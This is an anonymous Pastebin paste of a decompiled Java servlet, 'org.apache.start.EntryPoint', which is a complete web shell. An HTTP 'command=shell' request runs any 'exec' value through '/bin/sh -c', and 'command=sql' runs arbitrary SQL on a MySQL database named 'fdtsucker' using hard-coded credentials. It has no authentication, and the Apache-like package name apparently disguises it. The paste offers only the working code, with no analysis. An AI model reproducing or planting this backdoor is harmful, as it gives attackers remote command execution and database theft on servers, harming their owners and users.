Advertisement
Guest User

Untitled

a guest
Apr 26th, 2018
64
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 5.22 KB | None | 0 0
  1. // Decompiled by Jad v1.5.8g. Copyright 2001 Pavel Kouznetsov.
  2. // Jad home page: http://www.kpdus.com/jad.html
  3. // Decompiler options: packimports(3)
  4. // Source File Name: EntryPoint.java
  5.  
  6. package org.apache.start;
  7.  
  8. import java.io.*;
  9. import java.sql.*;
  10. import javax.servlet.ServletConfig;
  11. import javax.servlet.http.*;
  12.  
  13. public class EntryPoint extends HttpServlet
  14. {
  15.  
  16. public EntryPoint()
  17. {
  18. }
  19.  
  20. public void init(ServletConfig config)
  21. {
  22. String s;
  23. try
  24. {
  25. Class.forName("com.mysql.jdbc.Driver");
  26. conn = DriverManager.getConnection("jdbc:mysql://localhost/fdtsucker?user=fdtsucker&password=fdtsucker&serverTimezone=GMT");
  27. }
  28. catch(Exception e)
  29. {
  30. s = "dummy";
  31. }
  32. }
  33.  
  34. public void doPost(HttpServletRequest request, HttpServletResponse response)
  35. throws IOException
  36. {
  37. doGet(request, response);
  38. }
  39.  
  40. public void doGet(HttpServletRequest request, HttpServletResponse response)
  41. throws IOException
  42. {
  43. response.setCharacterEncoding("UTF-8");
  44. response.setContentType("text/plain; charset=UTF-8");
  45. String command = request.getParameter("command");
  46. if(command == null)
  47. {
  48. PrintWriter writer = response.getWriter();
  49. writer.write("$END$ ");
  50. writer.flush();
  51. writer.close();
  52. return;
  53. }
  54. try
  55. {
  56. String s = command;
  57. byte byte0 = -1;
  58. switch(s.hashCode())
  59. {
  60. case 114126:
  61. if(s.equals("sql"))
  62. byte0 = 0;
  63. break;
  64.  
  65. case 109403696:
  66. if(s.equals("shell"))
  67. byte0 = 1;
  68. break;
  69. }
  70. switch(byte0)
  71. {
  72. case 0: // '\0'
  73. sql(request, response);
  74. break;
  75.  
  76. case 1: // '\001'
  77. shell(request, response);
  78. break;
  79. }
  80. }
  81. catch(Exception e)
  82. {
  83. throw new IOException(e);
  84. }
  85. }
  86.  
  87. private void shell(HttpServletRequest request, HttpServletResponse response)
  88. {
  89. try
  90. {
  91. String command = request.getParameter("exec");
  92. PrintWriter writer = response.getWriter();
  93. writer.write((new StringBuilder()).append(command).append("\r\n").toString());
  94. ProcessBuilder process = new ProcessBuilder(new String[0]);
  95. Process start = process.command(new String[] {
  96. "/bin/sh", "-c", command
  97. }).start();
  98. InputStream in = start.getInputStream();
  99. BufferedReader br = new BufferedReader(new InputStreamReader(in));
  100. for(String line = br.readLine(); line != null; line = br.readLine())
  101. writer.write((new StringBuilder()).append(line).append("\r\n").toString());
  102.  
  103. writer.flush();
  104. writer.close();
  105. }
  106. catch(Exception exception) { }
  107. }
  108.  
  109. private void sql(HttpServletRequest request, HttpServletResponse response)
  110. throws Exception
  111. {
  112. String sql = request.getParameter("sql");
  113. PrintWriter writer = response.getWriter();
  114. writer.write((new StringBuilder()).append(sql).append("\r\n").toString());
  115. try
  116. {
  117. Statement st = conn.createStatement();
  118. if(st.execute(sql))
  119. {
  120. ResultSet rs = st.getResultSet();
  121. ResultSetMetaData metaData = rs.getMetaData();
  122. String header = "";
  123. for(int i = 1; i <= metaData.getColumnCount(); i++)
  124. header = (new StringBuilder()).append(header).append(" | ").append(metaData.getColumnName(i)).toString();
  125.  
  126. writer.write((new StringBuilder()).append(header).append(" | \r\n").toString());
  127. String line;
  128. for(; rs.next(); writer.write((new StringBuilder()).append(line).append(" | \r\n").toString()))
  129. {
  130. line = "";
  131. for(int i = 1; i <= metaData.getColumnCount(); i++)
  132. line = (new StringBuilder()).append(line).append(" | ").append(rs.getString(i)).toString();
  133.  
  134. }
  135.  
  136. rs.close();
  137. } else
  138. {
  139. writer.write((new StringBuilder()).append("Total records updated: ").append(st.getUpdateCount()).append("\r\n").toString());
  140. }
  141. }
  142. catch(Exception e)
  143. {
  144. StackTraceElement astacktraceelement[] = e.getStackTrace();
  145. int j = astacktraceelement.length;
  146. for(int k = 0; k < j; k++)
  147. {
  148. StackTraceElement elem = astacktraceelement[k];
  149. writer.write((new StringBuilder()).append(elem.toString()).append("\r\n").toString());
  150. }
  151.  
  152. }
  153. writer.flush();
  154. writer.close();
  155. }
  156.  
  157. public void destroy()
  158. {
  159. try
  160. {
  161. conn.close();
  162. }
  163. catch(Exception exception) { }
  164. }
  165.  
  166. private Connection conn;
  167. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement